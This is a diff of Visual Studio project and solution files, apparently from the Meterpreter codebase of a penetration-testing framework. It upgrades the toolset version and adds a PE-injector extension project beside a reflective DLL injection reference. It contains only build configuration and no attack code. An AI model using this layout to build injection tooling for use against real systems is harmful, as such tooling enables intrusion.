</ProjectReference>
|
||||
<ProjectReference Include="..\ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj">
|
||||
<Project>{72f0246a-a38d-4547-9057-46020e8e503d}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -1,7 +1,7 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.40629.0
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}"
|
||||
EndProject
|
||||
@ -39,6 +39,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_powershell", "ex
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_winpmem", "ext_server_winpmem\ext_server_winpmem.vcxproj", "{A29BE1E5-5122-4BD4-82CE-25418D29648E}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_peinjector", "ext_server_peinjector\ext_server_peinjector.vcxproj", "{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
r7_release|Win32 = r7_release|Win32
|
||||
@ -189,6 +191,14 @@ Global
|
||||
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|Win32.Build.0 = Release|Win32
|
||||
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|x64.ActiveCfg = Release|x64
|
||||
{A29BE1E5-5122-4BD4-82CE-25418D29648E}.Release|x64.Build.0 = Release|x64
|
||||
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.r7_release|x64.Build.0 = r7_release|x64
|
||||
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|Win32.Build.0 = Release|Win32
|
||||
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.ActiveCfg = Release|x64
|
||||
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
Loading…
Reference in New Issue
Block a user